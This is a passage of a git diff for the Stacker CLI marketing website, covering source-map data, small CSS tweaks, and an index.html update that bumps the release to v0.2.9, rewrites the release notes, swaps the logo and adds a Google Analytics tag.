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"}
\ No newline at end of file
diff --git a/website/dist/styles.css b/website/dist/styles.css
index 7192f466..3d40b46a 100644
--- a/website/dist/styles.css
+++ b/website/dist/styles.css
@@ -226,6 +226,7 @@ code {
   width: 36px;
   height: 36px;
   object-fit: contain;
+  vertical-align: middle;
 }
 
 .nav__logo-text {
@@ -511,6 +512,10 @@ code {
   line-height: 1.8;
 }
 
+.hero__terminal .terminal__body {
+  min-height: 200px;
+}
+
 .terminal--compact .terminal__body {
   padding: 14px 16px;
   font-size: 0.8rem;
diff --git a/website/package.json b/website/package.json
index 23c6546a..09512266 100644
--- a/website/package.json
+++ b/website/package.json
@@ -11,4 +11,4 @@
     "typescript": "^5.3.0",
     "serve": "^14.2.6"
   }
-}
+}
\ No newline at end of file
diff --git a/website/src/index.html b/website/src/index.html
index 3545e66e..9e9c2dde 100644
--- a/website/src/index.html
+++ b/website/src/index.html
@@ -3,14 +3,23 @@
 <head>
   <meta charset="UTF-8">
   <meta name="viewport" content="width=device-width, initial-scale=1.0">
-  <title>Stacker v0.2.7 — AI Infrastructure CLI by TryDirect</title>
-  <meta name="description" content="Stacker v0.2.7 scans your project, generates stacker.yml with AI, deploys to cloud or bare metal, manages agents, and links apps with pipes — all from your terminal.">
+  <title>Stacker v0.2.9 — AI Infrastructure CLI by TryDirect</title>
+  <meta name="description" content="Stacker v0.2.9 scans your project, deploys to cloud or bare metal, manages remote service secrets, cloud firewalls, agents, and app pipes — all from your terminal.">
   <meta name="theme-color" content="#7e57c2">
   <link rel="icon" type="image/png" href="assets/stacker-logo.png">
   <link rel="stylesheet" href="styles.css">
   <link rel="preconnect" href="https://fonts.googleapis.com">
   <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
   <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800;900&family=JetBrains+Mono:wght@400;500;600;700&display=swap" rel="stylesheet">
+  <!-- Google tag (gtag.js) -->
+  <script async src="https://www.googletagmanager.com/gtag/js?id=G-PDH63K5XEB"></script>
+  <script>
+    window.dataLayer = window.dataLayer || [];
+    function gtag(){dataLayer.push(arguments);}
+    gtag('js', new Date());
+
+    gtag('config', 'G-PDH63K5XEB');
+  </script>
 </head>
 <body>
   <!-- Particle canvas background -->
@@ -20,7 +29,7 @@
   <nav class="nav" id="nav">
     <div class="nav__inner">
       <a href="#" class="nav__logo">
-        <img src="assets/stacker-logo.png" alt="Stacker" class="nav__logo-img">
+        <img src="assets/stacker-logomark.png" alt="Stacker" class="nav__logo-img">
         <span class="nav__logo-text">stacker</span>
       </a>
       <div class="nav__links" id="navLinks">
@@ -52,7 +61,7 @@
       <div class="hero__content">
         <div class="hero__badge" data-animate="fade-up">
           <span class="hero__badge-dot"></span>
-          New Release v0.2.7 &middot; AI-Powered &middot; Cloud + Bare Metal
+          New Release v0.2.9 &middot; AI-Powered &middot; Cloud + Bare Metal
         </div>
         <h1 class="hero__title" data-animate="fade-up" data-delay="100">
           Ship your stack from code to server<br>
@@ -74,17 +83,20 @@ <h1 class="hero__title" data-animate="fade-up" data-delay="100">
           </a>
         </div>
         <div class="hero__release" data-animate="fade-up" data-delay="350">
-          <div class="hero__release-version">v0.2.7</div>
+          <div class="hero__release-version">v0.2.9</div>
           <p class="hero__release-text">
-            Latest release includes <strong>pipes</strong>, <strong>agent control + firewall</strong>,
-            <strong>Kata runtime</strong>, <strong>marketplace submit/status/logs</strong>, and
-            <strong>multi-user security hardening</strong>.
+            Latest release includes <strong>AI config setup CLI</strong>, <strong>OAuth device auth</strong>,
+            <strong>.env bootstrapping</strong>, <strong>Hetzner location fixes</strong>, and hardened agent health &amp; logs.
           </p>
           <div class="hero__release-chips">
-            <span class="hero__release-chip">Pipe automation</span>
-            <span class="hero__release-chip">Agent ops</span>
-            <span class="hero__release-chip">Kata isolation</span>
-            <span class="hero__release-chip">Marketplace flows</span>
+            <span class="hero__release-chip">AI setup CLI</span>
+            <span class="hero__release-chip">Device auth</span>
+            <span class="hero__release-chip">.env bootstrap</span>
+            <span class="hero__release-chip">Preflight checks</span>
+            <span class="hero__release-chip">npm networking</span>
+            <span class="hero__release-chip">Agent health</span>
+            <span class="hero__release-chip">Config promote</span>
+            <span class="hero__release-chip">Hetzner fixes</span>
           </div>
         </div>
         <div class="hero__terminal" data-animate="fade-up" data-delay="400">
@@ -200,29 +212,69 @@ <h3 class="feature-card__title">SSH Key Management</h3>
     <div class="container">
       <div class="section__header" data-animate="fade-up">
